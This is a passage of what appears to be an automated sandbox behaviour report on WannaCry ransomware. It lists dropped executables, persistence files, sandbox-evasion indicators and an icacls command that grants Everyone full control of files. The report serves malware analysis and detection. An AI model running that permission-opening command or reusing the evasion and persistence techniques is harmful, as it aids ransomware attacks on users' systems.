            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: apphelp.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched32.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched20.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: usp10.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msls31.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: uxtheme.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: windows.storage.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wldp.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: ntmarta.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: kernel.appcore.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: textinputframework.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: coreuicomponents.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: coremessaging.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: textshaping.dll
            Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
            Source: C:\Windows\SysWOW64\cscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeWindow found: window name: RICHEDIT
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile opened: C:\Windows\SysWOW64\RICHED32.DLL
            Source: WannaCry_2.EXEStatic file information: File size 3514368 > 1048576
            Source: WannaCry_2.EXEStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x34a000
            Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCacheBlocking_prod.pdb.VP9VideoExtensions_8wekyb source: WannaCry_2.EXE, 00000000.00000002.2398944134.000000000371E000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: \C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2lication Data\Applicatio source: WannaCry_2.EXE, 00000000.00000003.1232871894.00000000025B3000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_100011D0 wcsrchr,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetLastError,GlobalAlloc,GetTokenInformation,LoadLibraryA,GetProcAddress,wcscpy,GlobalFree,0_2_100011D0
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10006BD0 push eax; ret 0_2_10006BFE

            Persistence and Installation Behavior

            barindex
            Command shell drops VBS files
            Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Desktop\m.vbs
            Drops PE files to the document folder of the user
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\@WanaDecryptor@.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\@WanaDecryptor@.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\taskdl.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\taskse.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\@WanaDecryptor@.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Downloads\@WanaDecryptor@.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD13A0.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD13A1.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD13A2.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD736A.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD736B.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD5DBA.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SDD28D.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\7-Zip\~SDD28E.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SDD28F.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SDD290.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SDD291.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SDD292.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SDD293.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SDD294.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SDD295.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SDD296.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SDD297.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SDD2A8.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD91DD.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD91DE.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\7-Zip\~SD91DF.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SD91E0.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SD91E1.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SD91E2.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SD91E3.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SD91E4.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SD91E5.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD91E6.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD91F6.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SD91F7.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SD91F8.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SDF182.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SDF183.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\7-Zip\~SDF184.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SDF185.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SDF186.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\System Tools\~SDF187.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SDF188.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SDF189.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SDF18A.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SDDB1F.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SDDB20.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SDDB21.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Microsoft Office Tools\~SDDB22.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SDDB23.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SDDB24.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SDDB25.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD3B19.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD3B1A.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\7-Zip\~SD3B1B.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SD3B2C.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SD3B2D.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\~SD3B2E.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SD3B2F.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SD3B30.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SD3B31.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SD3B32.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SD3B33.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD3B34.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\~SD3B35.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD3B36.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SD3B37.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SD3B38.tmpJump to behavior

            Hooking and other Techniques for Hiding and Protection

            barindex
            Creates files in the recycle bin to hide itself
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\$Recycle.Bin\~SDB3EE.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\cscript.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\SIHClient.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Contains functionality to detect sleep reduction / modifications
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_100047900_2_10004790
            Found stalling execution ending in API Sleep call
            Source: C:\Users\user\Desktop\WannaCry_2.EXEStalling execution: Execution stalls by calling Sleepgraph_0-2173
            Source: C:\Users\user\Desktop\WannaCry_2.EXEWindow / User API: threadDelayed 4879
            Source: C:\Users\user\Desktop\WannaCry_2.EXEWindow / User API: threadDelayed 2158
            Source: C:\Users\user\Desktop\WannaCry_2.EXEDropped PE file which has not been started: C:\Users\user\Desktop\taskse.exeJump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEEvaded block: after key decisiongraph_0-1593
            Source: C:\Users\user\Desktop\WannaCry_2.EXECheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-1614
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 5712Thread sleep count: 133 > 30
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 5712Thread sleep time: -133000s >= -30000s
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 3552Thread sleep time: -35000s >= -30000s
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 3600Thread sleep count: 65 > 30
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 3600Thread sleep time: -195000s >= -30000s
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 3688Thread sleep time: -300000s >= -30000s
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 4196Thread sleep count: 32 > 30
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 4196Thread sleep time: -960000s >= -30000s
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 5712Thread sleep count: 4879 > 30
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 5712Thread sleep time: -4879000s >= -30000s
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 3600Thread sleep count: 2158 > 30
            Source: C:\Users\user\Desktop\WannaCry_2.EXE TID: 3600Thread sleep time: -6474000s >= -30000s
            Source: C:\Windows\System32\SIHClient.exe TID: 6680Thread sleep time: -60000s >= -30000s
            Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
            Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
            Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Windows\System32\SIHClient.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\taskdl.exeLast function: Thread delayed
